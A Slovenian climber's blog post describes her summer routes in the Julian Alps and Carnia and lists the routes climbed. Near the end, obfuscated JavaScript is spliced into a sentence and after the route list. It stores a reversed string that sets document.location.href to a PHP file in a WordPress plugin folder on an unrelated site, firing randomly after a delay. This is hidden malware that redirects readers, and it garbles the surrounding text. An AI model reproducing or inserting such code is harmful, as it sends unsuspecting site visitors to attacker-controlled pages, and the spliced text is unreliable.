Letos sem po Silvotovi zaslugi spoznala lepoto plezarije v zahdnih Julicih. Potem, ko sem po spomladanskem vplezavanju, polna pričakovanja osvojila Visoko belo špico po Severnem razu, sem vedela, da bom te kraje letos še obiskala. Ko je napočil čas dopusta, je Marijan odpotoval v Rusijo na dodatno foto izobraževanje. In jasno je bilo, da bom jaz ta čas izkoristila za plezanje.

S Silvotom sva najprej osvojila Beljaško iglo pri koči Corsi. Kratka a sladka in izpostavljena smer. Prvi raztežaj je šel naprej Silvo, kajti v njem je ozek kamin za katerega še sedaj ne vem kako sem prišla skozi, pa čeprav sem plezala druga. Da ne omenjam, da sem se, ko sem se prebila skozi najtežji del, morala vrniti, ker sem pozabila odpeti vponko. Ostalo do vrha sem plezala v vodstvu. Ker je smer kratka, sva zaključila dan še v plezališču pri koči Corsi. Vedela sem, da je Silvo popularen med dekleti, vendar to kar sem doživela v tem plezališču je izgledalo kot, da me spodaj varuje Justin Biber. Od koče zaslišm kako mična mladenka sredi dvajsetih let kriči: ”Silvoooooooo sem vedela, da te v tako lepem vremenu najdem tu. Silvoooo!” Njen fant je le nemočen opazoval to veliko naklonjenost svojega dekleta, ki se je spustilo v dir k Silvotu. Očitno je vedel, da v tej situaciji nima šanse 🙂

Čez dva dni sva se z Silvoto podala v Bele vode na Visoke police smer Diretissima. To je ena najlepših smeri letos. Plezala sem jo prva, lepa, kompaktna skala, polno oprimkov. V tistem lepem sončnem dnevu je bila prava uživancija. Nemogoče se je v njej zgubiti. Siten je le dostop, saj je steza ves čas nagnjena v globel in polna peska in šodra. Štanti so narejeni, vendar je toliko mostičkov, da jih ni problem preskočit in narediti svojega. Tudi za varovanja ni problem dobiti dobrih mest. V smeri smo imeli družbo naveze iz Maribora, ki je pod smer prispela ravno, ko smo se vanjo vstopila midva.

Še isti teden smo se z Jernejem in Juretom odpravili na Vršič v Pocarsko smer, ki jo je slovenska vojska naredila za potrebe vadbe. Je navrtana, svedrovci so pobarvani rdeče, štanti narejeni, vmes so celo puščice, da se ne zgubiš. Zelo dober poligon za pripravnike. Poleg tega mi je Ožbej dal še zelo natamčna navodila, tako da smo suvereno plezali kljub dopoldanski megli. Zjasnilo se je šele na povratku. Plezali smo izmenično, meni sta ostala zadnja dva raztežaja. Vendar sem kasneje ugotovila, da je Jernej preskočil en štant in zato je zadnji raztežaj bil tisti, ko se le sprehodiš po grebenu do steze.

Potem je sledilo plezanje na skupnih turah z Simonom nad Plöcken passom (Spigolo De Infanti 5b/4a-4b, 200m), Mali Rinki (Igličeva smer (V-/IV, 350m) in Vzhodna smer IV/II-III, 350m) ter v Panetone-ju (Via della Rampa 5c/5b 180m). To so bile štiri, vsaj zame, težje smeri, v Karniji tudi mokre, kjer pripravniki nismo plezali prvi in verjeli ali ne, nihče od nas si tega niti ni želel. Smeri so bile zahtevne, zato smo bili raje na štriku 🙂 Vendar ste o tem že brali v Simonovih zapisih. Vmes smo skočili še po Slovenski na Triglav. Lani sem bila v smeri prvič in prav zanimivo je kako sem jo dojemala letos. Predvsem smo bili zelo hitri, saj sem bila v družbi ultramaratonca in ironmana. Taki ti dajo dihat. Še dobro, da smo se vsake toliko zgubili, da sem zajela sapo.

Prvo nedeljo v septembru smo zopet odšli v Karnijo na Monte Zermulo po smeri Medeles in sicer dve navezi: Egon in Marijan prva ter midva z Jernejem druga naveza. Z Jernejem sva plezala izmenično. Ker sva lezla za Egonom in Marijanom, nama ni bilo potrebno paziti na orientacijo. Orientacija je mogoče trenutno moj glavni problem, saj si brez izkušenejših kolegov kar ne upam iti v neznano steno. Mogoče je to le nekaj kar moraš ‘dat skoz’ in je bolje, da ne ‘preskakuješ’. Upam, da bo to stanje sčasoma izginilo, tako kot so letos izginili nekateri moji lanski problemi, sam dovolj je treba bit v skali.

Monte Zermula ima ima zelo lepo skalo, le na vrhu, ko smo se že razvezali, je malce naloženo. Manjši problem so le ovinki, ko nastopi trenje in vlečeš štrik kot kaka mula. Je bilo pa to plezanje za Egona vrnitev na kraj zločina, ki ga je opravil zelo suvereno in z veliko humorja na svoj račun. Ko smo ga pobarali po sestopu, je odvrnil, da nima pojma, ker se je zadnjič peljal s helikopterjem.

Sedaj pa sem se zopet postavila v vrsto pri Silvotu. Bo trajalo, ker je pred mano kar nekaj kandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidatk za plezanje.

Preplezane smeri:
Beljaška igla pri koči Corsi, Južni raz IV+/III-IV, 140 m
Visoke police Bele vode Direttissima V-/IV, 200 m
Grebenc pri Mali Mojstrovki Pocarska smer IV/III-IV, 200 m
Monte Zermula, smer Medeles D- max 4, pp.4+ , 300 m

) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and”]

Barbi V. Močivnik